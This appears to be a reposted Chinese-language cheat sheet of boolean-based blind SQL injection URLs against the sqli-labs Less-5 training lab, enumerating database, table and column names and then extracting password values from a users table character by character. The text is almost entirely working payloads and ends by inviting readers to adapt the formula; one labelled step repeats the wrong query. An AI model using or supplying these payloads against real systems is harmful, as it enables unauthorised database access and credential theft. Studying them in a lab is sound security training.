庫操作
庫名長度
http://localhost/sqli/Less-5/?id=1'and (length(database())=10)--+
其他庫長度
http://localhost/sqli/Less-5/?id=1'and (length((select schema_name from information_schema.schemata limit 0,1))=6)--+
求本庫名字符
http://localhost/sqli/Less-5/?id=1'and (ascii(substr(database(),1,1))>32)--+
求其他庫名字符
http://localhost/sqli/Less-5/?id=1'and (ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))>32)--+
表操作
表長度
http://localhost/sqli/Less-5/?id=1'and (length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=6)--+
第二個表長度
http://localhost/sqli/Less-5/?id=1'and (length((select table_name from information_schema.tables where table_schema=database() limit 2,1))=6)--+
第一個表名第一個字符
http://localhost/sqli/Less-5/?id=1'and(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>32)--+
第一個表名第二個字符
http://localhost/sqli/Less-5/?id=1'and(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>32)--+
第二個表名第一個字符
http://localhost/sqli/Less-5/?id=1'and(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>32)--+
第二個表名第二個字符
http://localhost/sqli/Less-5/?id=1'and(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))>32)--+
欄位操作
求欄位長度
http://localhost/sqli/Less-5/?id=1'and(length((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1))=2)--+
求第二個欄位長度
http://localhost/sqli/Less-5/?id=1'and(length((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 1,1))=2)--+
求第一個欄位第一個字符
http://localhost/sqli/Less-5/?id=1'and(ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1))>32)--+
求第一個欄位第二個字符
http://localhost/sqli/Less-5/?id=1'and(ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1))>32)--+
求第二個欄位第一個字符
http://localhost/sqli/Less-5/?id=1'and(ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 1,1),1,1))>32)--+
求第二個欄位第二個字符
http://localhost/sqli/Less-5/?id=1'and(ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 1,1),2,1))>32)--+
資料操作
求第一個資料長度
http://localhost/sqli/Less-5/?id=1'and(length((select password from security.users limit 0,1))=32)--+
求第二個資料長度
http://localhost/sqli/Less-5/?id=1'and(length((select password from security.users limit 1,1))=32)--+
求第一個資料的第一個字符
http://localhost/sqli/Less-5/?id=1'and(ascii(substr((select password from security.users limit 0,1),1,1))>32)--+
求第一個資料的第二個字符
http://localhost/sqli/Less-5/?id=1'and(ascii(substr((select password from security.users limit 0,1),2,1))>32)--+
可以根據以上資訊總結公式進行改編套用，
轉載請註明出處，本文鏈接：https://www.uj5u.com/qita/240374.html
標籤：其他